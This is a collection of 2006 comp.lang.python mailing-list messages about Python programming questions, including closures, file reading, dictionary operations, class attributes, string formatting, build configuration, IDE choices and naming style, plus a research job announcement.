> >>>> del(s)
> >>>> f(None)
> > Traceback (most recent call last):
> >  File "<stdin>", line 1, in ?
> >  File "<stdin>", line 1, in <lambda>
> > NameError: global name 's' is not defined
> >
> > It seems to me, that f is referencing the name s instead of the string
> > object bound to it
>
> that's how lexical scoping works, of course.
>
> if you want to bind to the object instead of the name, use explicit binding:
>
>     f = lambda x, s=s: s
>
> </F>

Thank you, together with the response of Duncan it is clear to me now.
I will use something like
>>> def makefunc(t):
...     return lambda x: t
...
>>> s = 'foo'
>>> f = makefunc(s)
>>> f(None)
'foo'
>>> s = 'bar'
>>> f(None)
'foo'

Leonhard



From ewijaya at i2r.a-star.edu.sg  Fri Oct 27 02:56:03 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Fri, 27 Oct 2006 14:56:03 +0800
Subject: Slurping All Content of a File into a Variable <Pls ignore,
	problem with mailing list, eom>
References: <3ACF03E372996C4EACD542EA8A05E66A0615D9@mailbe01.teak.local.net>
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615E0@mailbe01.teak.local.net>


 

________________________________

From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Wijaya Edward
Sent: Thu 10/26/2006 11:47 PM
To: python-list at python.org
Subject: Slurping All Content of a File into a Variable




Hi,

How can we slurp content of a single file
into one variable?

I tried this:

>>> myfile_content = open('somefile.txt')
>>> print myfile_content,
<open file 'somefile.txt', mode 'r' at 0xb7f532e0>
>>>

But it doesn't print the content of the file.

Regards,
-- Edward WIJAYA
SINGAPORE


------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------
--
http://mail.python.org/mailman/listinfo/python-list



------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From steve at holdenweb.com  Fri Oct 27 08:57:51 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 27 Oct 2006 13:57:51 +0100
Subject: my first software
In-Reply-To: <4qec58Fmrcd1U1@individual.net>
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>	<4qc748Fm34hdU1@individual.net>	<mailman.1287.1161882208.11739.python-list@python.org>
	<4qec58Fmrcd1U1@individual.net>
Message-ID: <ehsvmb$uq1$1@sea.gmane.org>

Bjoern Schliessmann wrote:
> Fredrik Lundh wrote:
> 
> 
>>cygwin?
> 
> 
> I thought so too, but cygwin would use #!/cygdrive/c/..., IIRC.
> 
Cygwin is actually pretty liberal about paths, and will often take a 
Winwos-style path (unlike the snotty cmd.exe program that insists on 
treating forard slashes ONLY as option indicators.
> 
>>exemaker?  some kind of web server? 
> 
> 
> Okay, didn't know that :)
> 
> Regards,
> 
> 
> Bj?rn
> 

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From python.list at tim.thechases.com  Mon Oct 16 14:29:41 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Mon, 16 Oct 2006 13:29:41 -0500
Subject: set operations on dictionaries?
In-Reply-To: <20061016181014.73728.qmail@web58105.mail.re3.yahoo.com>
References: <20061016181014.73728.qmail@web58105.mail.re3.yahoo.com>
Message-ID: <4533CF95.8060700@tim.thechases.com>

> I understand this point but this is just an argument for
> saying that it should throw an exception when the values don't
> match. It is not an argument for not doing the logical thing
> when they do. In fact in many situations it can be reasonably
> expected that the values will be the same. If not, give an
> error. There is no danger in that. The programmer should know
> whether this is a reasonable expectation in any givn case. (As
> it is at the moment, you get an error even if they match...)

Well, the operation as you describe it is easy enough to implement:

 >>> d1 = {1:42, 2:43, 3:44}
 >>> d2 = {1:42, 2:55, 5:66}
 >>> dict((k,v) for k,v in d1.items() if k in d2)
{1: 42, 2: 43}
 >>> dict((k,v) for k,v in d1.items() if k in d2 and d2[k] == v)
{1: 42}

depending on whether you want to enforce the matching of the 
values as well.

Sure, it's not a native operator, but given the ambiguity of the 
definition (do you or don't you include the values in the 
comparison?), it's best to leave it as a function rather than 
trying to shoehorn it into the __sub__ operator.

-tkc





From m.elston at advantest-ard.com  Mon Oct 30 20:17:49 2006
From: m.elston at advantest-ard.com (Mark Elston)
Date: Mon, 30 Oct 2006 17:17:49 -0800
Subject: enumerate improvement proposal
In-Reply-To: <MWw1h.2703$s6.1623@newssvr11.news.prodigy.com>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>	<mailman.1437.1162125524.11739.python-list@python.org>	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>	<4qn37kFmc3q0U1@uni-berlin.de>	<tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>
	<mailman.1510.1162251707.11739.python-list@python.org>
	<MWw1h.2703$s6.1623@newssvr11.news.prodigy.com>
Message-ID: <4546A43D.4080302@advantest-ard.com>

* James Stroud wrote (on 10/30/2006 4:39 PM):
> Steve Holden wrote:
>> How could you end up marrying someone who counts from one and not 
>> zero? ;-)
> 
> She's the only other person I've ever met who used vi key binding at the 
> command line.
> 
> James
> 
> 

Well, there's your problem.  You need to C-x C-f a new mate. :)

Mark
(Emacs rules)


From tomas at fancy.org  Tue Oct 10 20:55:38 2006
From: tomas at fancy.org (Tom Plunket)
Date: Tue, 10 Oct 2006 17:55:38 -0700
Subject: Is a list static when it's a class member?
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>
	<mailman.236.1160506522.11739.python-list@python.org>
Message-ID: <63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com>

Fredrik Lundh wrote:

> if you want separate instances to use separate objects, make sure you 
> create new objects for each new instance.  see Tim's reply for how to
> do that.

kath's response is probably better.

In Python, you don't define the instance members in the class scope
like the OP has done:

> > class A:
> >     name = ""
> >     data = []

You define them when you attach them to an instance, e.g.

class A:
   def __init__(self):
      self.member1 = 'a'

   def ThisWorksToo(self):
      self.member2 = 'b'

# this also works
a = A()
a.member3 = 'c'

-tom!


From limodou at gmail.com  Wed Oct  4 09:20:32 2006
From: limodou at gmail.com (limodou)
Date: Wed, 4 Oct 2006 21:20:32 +0800
Subject: dictionary of list from a file
In-Reply-To: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
Message-ID: <505f13c0610040620o4f52280fy3b9430c857101eb8@mail.gmail.com>

On 4 Oct 2006 06:09:21 -0700, andrea.spitaleri at gmail.com
<andrea.spitaleri at gmail.com> wrote:
> Hi guys,
> this is my first post. my "programming" background is perlish scripting
> and now I am learning python. I need to create a dictionary of list
> from a file. Normally in perl I use to do like:
>
> while(<IN>){
>           @info=split(/ +/,$_);
>           push (@{$tmp{$info[0]}},$info[1]);
> }
>
> and then
> foreach $key (keys %tmp){
>            print "$key -> @{$tmp{$key}}\n";
> }
> i get
>
> 2 -> 1  2 3 4
> 7 -> 7 8 9 10
>
> in python I tried:
> b={}
> a=[]
> for line in fl.readlines():
>          info=lines.split()
>          b[info[0]] = a.append(info[1])
>
> and then
> for i in b:
>      print i,b[i]
> i get
> 2 None
> 7 None
>
> data file is:
> 2 1
> 2 2
> 2 3
> 2 4
> 7 7
> 7 8
> 7 9
> 7 10
>
> Any help??
> Thanks in advance
> Best Regards
>
> Andrea
>
here is my program

d = {}
for line in file('test.txt'):
    line = line.strip()
    if line:
        k, v = line.strip().split()
        d.setdefault(k, []).append(v)
print d

Dict in Python has a setdefault method, if there is a key in dict,
it'll return the value, and if there is not a key existed, it'll
insert a key with the value supplied by the second parameter and
return the value. So using setdefault will be very handy for inserting
key.

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From martin at v.loewis.de  Tue Oct 24 01:36:05 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 07:36:05 +0200
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <mailman.1025.1161646957.11739.python-list@python.org>
References: <mailman.706.1161192807.11739.python-list@python.org>	<45386B4C.4020001@v.loewis.de>	<mailman.999.1161629807.11739.python-list@python.org>	<453d4821$0$22566$9b622d9e@news.freenet.de>
	<mailman.1025.1161646957.11739.python-list@python.org>
Message-ID: <453DA645.2090009@v.loewis.de>

Christopher Taylor schrieb:
> Also,  I've fooled around with passing --libdir=/usr/lib64 to the
> configure script and for whatever reason, the Makefile isn't correctly
> written.  It always ends up copying the lib files to /usr/lib.

Ah, I see. The reason is pretty simple: Makefile.pre.in has

LIBDIR=         $(exec_prefix)/lib

so it seems that LIBDIR isn't configurable.

> Could not find platform independent libraries <prefix>
> Could not find platform dependent libraries <exec_prefix>
> Consider setting $PYTHONHOME to <prefix>[:<exec_prefix>]
> 'import site' failed; use -v for traceback
> 
> Just for sanity sakes I undid the changes to lines 83 & 87 of the make
> file, did a "make clean", "make", "make test", "make altinstall",
> "python2.4" followed by some goofing around and everything works fine.
> So I'm guessing my manual edits of the makefile didn't go well.  Any
> idea what else I need to change?

You will have to debug this (can't do right now); see Modules/getpath.c,
and the definition of PYTHONPATH. It seems this isn't really supported.

Regards,
Martin


From h9204473 at wu-wien.ac.at  Sat Oct  7 15:29:45 2006
From: h9204473 at wu-wien.ac.at (le_wolk)
Date: 7 Oct 2006 12:29:45 -0700
Subject: Job announcement Vienna&Graz Austria
Message-ID: <1160249385.110123.190090@b28g2000cwb.googlegroups.com>

Python and Java Developers for reseach project hired!
More information below...


Information Diffusion across Interactive Online Media
http://www.idiom.at/

Four full-time research positions are now available at Graz University
of
Technology and Vienna University of Economics and Business
Administration.
As of November 2006, we aim to hire four young researchers in the
following areas (Application deadline = October 15):

** Visualizing Semantic and Geographic Data
** Social Software and Content Management Systems
** Semantic Technologies and Ontology Engineering
** Software Development and Information Retrieval

Further details and the full text of the announcements (in German) are
available at http://www.idiom.at/.

Project Description

Recent advances in collaborative Web technology are governed by network
effects and harnessing collective intelligence through customer-self
service and algorithmic data management. As a result, information
spreads
rapidly across Web sites, blogs, Wiki applications, and direct
communication channels between members of online communities who
utilize
these services. The IDIOM (Information Diffusion across Interactive
Online
Media) project will support and investigate electronic interactivity by
means of a generic, service-oriented architecture. This architecture
will
include ontology-based tools to build and maintain contextualized
information spaces, a framework for analyzing content diffusion and
interaction patterns within these spaces, and interface technology
enabling users to switch between semantic and geospatial topologies.

----------------------------------------------
Mag. Gerhard Wohlgenannt                 | wohlg at ai.wu-wien.ac.at
Projekt AVALON/WU Wien, Aug. 2-6         | Tel: ++43 1 31336 5228
----------------------------------------------



From bignose+hates-spam at benfinney.id.au  Tue Oct  3 07:55:51 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 03 Oct 2006 21:55:51 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
Message-ID: <87sli5ipfc.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> Paul Rubin wrote:
> > "Giovanni Bajo" <noway at sorry.com> writes:
> >>I just read this mail by Brett Cannon:
> >>http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> >>where the "PSF infrastracture committee", after weeks of evaluation,
> >>recommends using a non open source tracker (called JIRA - never
> >>heard before of course) for Python itself.
> >>
> >>Does this smell "Bitkeeper fiasco" to anyone else than me?
> > 
> > Sounds crazy, what's wrong with bugzilla?
>
> Much the same as is wrong with the existing SourceForge system, I'd say.

The existing SourceForge system runs on non-free software, which is a
significant differentiator from Bugzilla.

I would be greatly dismayed to see the PSF choosing to move critical
Python development data into a non-free system. I hope this
recommendation from the "PSF infrastructure committee" is rejected.

-- 
 \           "There is no reason anyone would want a computer in their |
  `\          home."  -- Ken Olson, president, chairman and founder of |
_o__)                                    Digital Equipment Corp., 1977 |
Ben Finney



From gal.diskin at gmail.com  Sat Oct  7 09:46:55 2006
From: gal.diskin at gmail.com (Gal Diskin)
Date: 7 Oct 2006 06:46:55 -0700
Subject: building strings from variables
References: <1160060458.147062.193070@c28g2000cwb.googlegroups.com>
	<mailman.1361.1160063743.10491.python-list@python.org>
Message-ID: <1160228815.434905.56660@e3g2000cwe.googlegroups.com>

Matthew Warren wrote:
> > -----Original Message-----
> > From:
> > python-list-bounces+matthew.warren=digica.com at python.org
> > [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> > rg] On Behalf Of Gal Diskin
> > Sent: 05 October 2006 16:01
> > To: python-list at python.org
> > Subject: building strings from variables
> >
> > Following a discussion with an associate at work about various ways to
> > build strings from variables in python, I'd like to hear your opinions
> > and preferred methods. The methods we discussed are:
> > 1.  some_string = "cd %s ; %s  %d %s %s" % ( working_dir, ssh_cmd,
> > some_count, some_param1, some_param2)
> >
> > 2. import string
> >     template = string.Template("cd $dir ; $cmd $count $param1
> > $param2")
> >     some_string = template.substitute(dict(dir=working_dir,
> >
> > cmd=ssh_cmd,
> >
> > count=some_count,
> >
> > pararm1=some_param1,
> >
> > param2=some_param2))
> > here you can use a couple of nice tricks by using class.__dict__ and
> > globals() \ locals() dictionaries.
> >
> > 3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ "
> > "+str(some_count)+" "+some_param1+" "+some_param2
> > (all these are supposed to produce the same strings)
> >
> > Which methods do you know of \ prefer \ think is better because...?
> > I will appreciate any opinions about the matter.
>
> :D
>
> I think, it would depend really on what your aims are (readable code,
> fast string generation...), and how the vars you want to build the
> string from are respresented in your code (is it natural to use a dict
> etc..)
>
> I kicked off a conversation similar to this earlier today, and that was
> my conclusion after helpful debate & advice.
>
> Matt.
>
>
> This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer.
>
> You should not copy the email, use it for any purpose or disclose its contents to any other person.
> Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica.
> It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email.
>
> UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK
> Reception Tel: + 44 (0) 115 977 1177
> Support Centre: 0845 607 7070
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> Tel: + 27 (0) 21 957 4900
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> http://www.digica.com

Matt,
Thanks for replying. I tried looking up your discussion and I'm unsure
if I found the right post. Would you mind linking to it?

--
Gal Diskin
G__.D_____ at Intel.com
G__.D_____ at gmail.com
Work: +972-4-865-1637
Cell:   +972-54-7594166



From gagsl-py at yahoo.com.ar  Fri Oct 20 17:06:09 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 20 Oct 2006 18:06:09 -0300
Subject: why does this unpacking work
In-Reply-To: <2la_g.134$1n3.3442@news.tufts.edu>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<mailman.864.1161373067.11739.python-list@python.org>
	<2la_g.134$1n3.3442@news.tufts.edu>
Message-ID: <7.0.1.0.0.20061020174616.05b4da98@yahoo.com.ar>

At Friday 20/10/2006 17:29, John Salerno wrote:

>I was expecting 't' to be a two-tuple for it to work. Maybe writing it as:
>
>for (x,y) in t
>
>sort of helps to show that '(x,y)' is equivalent to one object in 't'.
>That makes it look a little more cohesive in my mind, I guess, or helps
>me to see it map out against 't' better.

Note that it's the *comma* in an expression list what creates a 
tuple, *not* the parens. A similar rule applies on the target side of 
an assignment:

x,y = (1,2)
(x,y) = [1,2]
[x,y] = 1,2

and all variations are all equivalent.
The left part of a for statement is like an assignment.
With this in mind, it's not surprise that

for (x,y) in t: pass
for x,y in t: pass

are exactly the same.

<http://docs.python.org/ref/exprlists.html>
<http://docs.python.org/ref/assignment.html>


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From steve at holdenweb.com  Tue Oct 24 23:45:51 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 04:45:51 +0100
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <1161747175.606159.313510@i42g2000cwa.googlegroups.com>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>	<mailman.1126.1161738198.11739.python-list@python.org>
	<1161747175.606159.313510@i42g2000cwa.googlegroups.com>
Message-ID: <ehmmjd$sl5$1@sea.gmane.org>

Carl Banks wrote:
> Steve Holden wrote:
> 
>>pretoriano_2001 at hotmail.com wrote:
>>
>>>Hello:
>>>I have next dictionaries:
>>>a={'a':0, 'b':1, 'c':2, 'd':3}
>>>b={'a':0, 'c':1, 'd':2, 'e':3}
>>>I want to put in a new dictionary named c all the keys that are in b
>>>and re-sequence the values. The result I want is:
>>>c={'a':0, 'c':1, 'd':2}
>>>How can I do this with one line of instruction?
>>>
>>
>>You can't. Dictionaries aren't ordered collections.
>>
>>
>>>I attempted the next but the output is not the expected:
>>>c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
>>>erroneously (for me) gets:
>>>{'a': 0, 'c': 2, 'd': 3}
>>>
>>>Thanks for your help.
>>
>>In Python {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3}
> 
> 
> Careful there, chief.  The Python interpreter disagrees:
> 
> 
>>>>{'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3}
> 
> False
> 
> I inferred that by "re-sequencing", the OP meant the keys in the new
> dict were to be associated with a new range of integer values (probably
> specifically the key's index in a sorted list of keys).  It was an
> unfortunate choice of words, as sequencing has a pretty specific
> meaning in Python.
> 
> 
Thanks: my bad.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From toreriks at hotmail.com  Fri Oct 20 09:50:32 2006
From: toreriks at hotmail.com (Tor Erik Soenvisen)
Date: Fri, 20 Oct 2006 13:50:32 +0000 (UTC)
Subject: FTP over SSL
Message-ID: <Xns9862A12779E68toreriknpolarno@129.242.5.222>

Hi,

Anyone know about existing code supporting FTP over SSL?
I guess pycurl http://pycurl.sourceforge.net/ could be used, but that
requires knowledge of libcurl, which I haven't.

regards


From hanumizzle at gmail.com  Tue Oct 10 05:53:25 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 05:53:25 -0400
Subject: operator overloading + - / * = etc...
In-Reply-To: <slrneikchc.55m.apardon@rcpc42.vub.ac.be>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<slrneikchc.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <463ff4860610100253n1e8e53b8o65d1076b67c8c5b7@mail.gmail.com>

On 9 Oct 2006 11:27:40 GMT, Antoon Pardon <apardon at forel.vub.ac.be> wrote:

> I honestly don't see why "variable" would be an inappropiate word to use.
> AFAIU, python assignment seems to behave much like lisp and smalltalk
> and I never heard that those communities found the word "variable"
> inappropiate to use. And since the word variable originally comes
> from mathematics and IMHO the mathematical semantics are closer
> to the lisp/smalltalk/python semantics than the C/algol/pascal/ada
> semantics I don't see why "variable" is seen as "sloppy talk"

Um, that's what I usually use anyway... :)

-- Theerasak


From steve at holdenweb.com  Thu Oct 26 09:07:58 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 14:07:58 +0100
Subject: Handling emails
In-Reply-To: <87mz7jgrma.fsf@benfinney.id.au>
References: <mailman.967.1161596728.11739.python-list@python.org>	<mailman.1090.1161707760.11739.python-list@python.org>	<GhC%g.18871$UG4.13890@newsread2.news.pas.earthlink.net>	<200610262031.25448.fulvio@tm.net.my>
	<87mz7jgrma.fsf@benfinney.id.au>
Message-ID: <ehqbta$378$1@sea.gmane.org>

Ben Finney wrote:
> Fulvio <fulvio at tm.net.my> writes:
> 
> 
>>***********************
>>Your mail has been scanned by InterScan MSS.
>>***********************
> 
> 
> Please stop sending messages with obnoxious headers like this.
> 
Please stop sending messages with obnoxious content like this.

If you insist on telling someone off publicly via a newsgroup, once is 
enough. I agree it's a pain, but Fulvio may not have it in his power to 
switch the header off. Mail admins do some incredibly stupid things.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From fredrik at pythonware.com  Thu Oct 12 01:59:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 12 Oct 2006 07:59:35 +0200
Subject: Experiences with Py2Exe
In-Reply-To: <1160593412.770417.21010@i42g2000cwa.googlegroups.com>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>	<452cf765$1@news.vo.lu>
	<1160593412.770417.21010@i42g2000cwa.googlegroups.com>
Message-ID: <egklk8$62h$1@sea.gmane.org>

Isaac Rodriguez wrote:

> I am asking this because I have a lot of experience using the Windows
> Installer service, and I also have all the productivity tools available
> to create an installer for my tools if I needed to

just go ahead and use it.

py2exe generates an EXE and (usually) a bunch of related files:

     http://www.py2exe.org/index.cgi/FAQ

any tool that can wrap that up and install it on another machine works 
just fine.

</F>



From jstroud at mbi.ucla.edu  Sun Oct  1 01:54:08 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sun, 01 Oct 2006 05:54:08 GMT
Subject: question about scope
In-Reply-To: <451f52f1$0$1803$c3e8da3@news.astraweb.com>
References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com>
	<mailman.1025.1159679073.10491.python-list@python.org>
	<451f52f1$0$1803$c3e8da3@news.astraweb.com>
Message-ID: <4KITg.18490$Ij.7035@newssvr14.news.prodigy.com>

John Salerno wrote:
> Steve Holden wrote:
> 
>> The methods do indeed look in their enclosing class, but only for 
>> self-relative references. These are sought first in the instance, then 
>> in the instance's class, then in the instance's class's superclass, 
>> and so on up to the ultimate superclass. In other words, all attribute 
>> lookup uses the method resolution order ...
> 
> 
> So what I did is correct? It does work, but why don't I have to define 
> the list as self.menu_items as well?

This is because that list is an attribute of the class. Instances have a 
reference of this class attribute, but it can be replaced by an 
attribute of the instance with self (self is a reference to the instance 
and not the class. This example might help:

py> class C(object):
...   value = 42
...   def separate_from_pack(self, some_value):
...     self.value = some_value
...
py> C.value
42
py> c1 = C()
py> c1.value
42
py> c2 = C()
py> c2.value
42
py> c2.separate_from_pack(88)
py> c2.value
88
py> C.value
42
py> c3 = C()
py> c3.value
42


James

--
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From MonkeeSage at gmail.com  Sun Oct  8 15:24:33 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 8 Oct 2006 12:24:33 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.61.1160333064.11739.python-list@python.org>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>
	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>
	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>
	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>
	<mailman.61.1160333064.11739.python-list@python.org>
Message-ID: <1160335473.625244.261640@m7g2000cwm.googlegroups.com>


On Oct 8, 1:44 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> but "let's hypergeneralize and treat sequences and mappings as the same
> thing" proposals are nothing new; a trip to the archives might be help-
> ful.

Huh? I don't want to treat sequences and mappings as the same thing.
I'm talking about adding two similar convenience methods for sequences
as already exist for mappings. That may make the two APIs closer, but
that's not necessarily a bad thing (think the square-bracket accessor).
Besides, has_index is sufficiently different already. If it's really a
problem, change get() to at() for sequences. seq.at(2).

So far the reasons offered against adding those convenience methods
are:

Reason: It's unnecessary / bloat.
- Then the same thing is true of the dict methods.

Reason: It's not useful.
- I know of several use cases and could probably find others.

Reason: It takes effort to implement it. Why don't you do it yourself
if it's such a great idea!
- Mabye I will. But that is only a reason why they aren't currently
implemented, not why they *shouldn't* be.

Reason: It makes sequences and mapping to much alike.
- Then change the names for the sequences methods.

That is to say, no good reason has been offered for why these methods
shouldn't be implemented.

Regards,
Jordan



From Leo.Kislov at gmail.com  Mon Oct 23 17:02:39 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 23 Oct 2006 14:02:39 -0700
Subject: encoding of sys.argv ?
References: <20061023130504.26823717@autremonde>
Message-ID: <1161637359.051264.233140@m7g2000cwm.googlegroups.com>


Jiba wrote:
> Hi all,
>
> I am desperately searching for the encoding of sys.argv.
>
> I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem. sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is "utf-8". However, sys.argv is neither in ASCII (since I can pass French accentuated character), nor in UTF-8. It seems to be encoded in "latin-1", but why ?

Your system is misconfigured, complain to your distribution. On UNIX
sys.getfilesystemencoding(), sys.stdin.encoding, sys.stdout.encoding,
locale.getprefferedencoding and the encoding of the characters you type
should be the same.



From johnjsal at NOSPAMgmail.com  Thu Oct 19 16:07:50 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 19 Oct 2006 20:07:50 GMT
Subject: proper format for this database table
Message-ID: <qWQZg.119$1n3.3371@news.tufts.edu>

Hi guys. I was wondering if someone could suggest some possible 
structures for an "Education" table in a database. It will contain at 
minimum university names, years of attendance, and degrees earned. My 
problem is that I don't know quite how to set this up for people who 
have attended multiple universities. I could do:

university text DEFAULT NULL,
yearStart integer DEFAULT NULL,
yearEnd integer DEFAULT NULL,
degreesEarned text DEFAULT NULL

But this only allows for one university. (Also not sure if I should 
split up the years like that.) But mainly I'm looking for a way to 
construct this table so it can hold multiple universities, if necessary.

Thanks.


From heikki at osafoundation.org  Fri Oct 13 20:33:35 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Fri, 13 Oct 2006 17:33:35 -0700
Subject: wing ide vs. komodo?
In-Reply-To: <mailman.483.1160772175.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>	<mailman.480.1160767168.11739.python-list@python.org>	<tURXg.27343$Go3.5193@dukeread05>	<mailman.481.1160768935.11739.python-list@python.org>	<18SXg.27347$Go3.9933@dukeread05>	<mailman.482.1160769808.11739.python-list@python.org>	<452ff5e4$0$1771$c3e8da3@news.astraweb.com>
	<mailman.483.1160772175.11739.python-list@python.org>
Message-ID: <QuudnTGzFO7Cra3YnZ2dnUVZ_rednZ2d@comcast.com>

> "Eric is becoming an integral part of our Python development here at
> Fluent. It's ability to set and trigger breakpoints in any thread is
> unlike any other Python debugger we have tried. Through Eric's easy to
> use interface and tight integration with PyQt, it has helped reduce
> our debugging time, particularly on Windows platforms where it is used
> heavily."
> 
> --- Andrew Bushnell, Fluent Inc.

I have found that both Komodo and Pydev can do this.

Wing IDE does not (although you can debug any single thread). They are
open to suggestions though, so if there is demand I am sure they would
add it.

Personally I have used Wing IDE, Komodo and Pydev. I think Wing IDE has
the best debugging experience (for single threaded apps), and is the
fastest. I really like the regex tool in Komodo, but eventually I more
or less stopped using it. I am currently a Pydev user. I like Pydev
because it is open source, cross platform, supports multi-threaded
debugging, and simply because Eclipse provides so much stuff (although
it is a pretty steep learning curve and it has its own annoyances).

-- 
  Heikki Toivonen


From bj_666 at gmx.net  Tue Oct 24 16:09:11 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Tue, 24 Oct 2006 22:09:11 +0200
Subject: forcing a definition to be called on attribute change
References: <mailman.1048.1161680224.11739.python-list@python.org>
	<453dec91$0$23269$426a34cc@news.free.fr>
	<Xns9866A6B3F4017rtwfreenetREMOVEcouk@216.196.109.145>
Message-ID: <pan.2006.10.24.20.09.10.973793@gmx.net>

In <Xns9866A6B3F4017rtwfreenetREMOVEcouk at 216.196.109.145>, Rob Williscroft
wrote:

> Bruno Desthuilliers wrote in news:453dec91$0$23269$426a34cc at news.free.fr in 
> comp.lang.python:
> 
>>> class cSphere() :
>> 
>> OT : prefixing classes names with 'c' is totally unpythonic.
> 
> My understanding of "pythonic" is that its about how you use the 
> language not what style you code in.
> 
> [?]
>
> I guess we could claim that one-liners are unpythonic (because 
> indentation is a language feature), but claiming a all PEP 8 
> violating styles are unpyhonic seems to me to be devaluing the 
> term.

IMHO "pythonic" is about readability and sticking to a naming convention
helps others to read your code.  If something is called `Sphere` you know
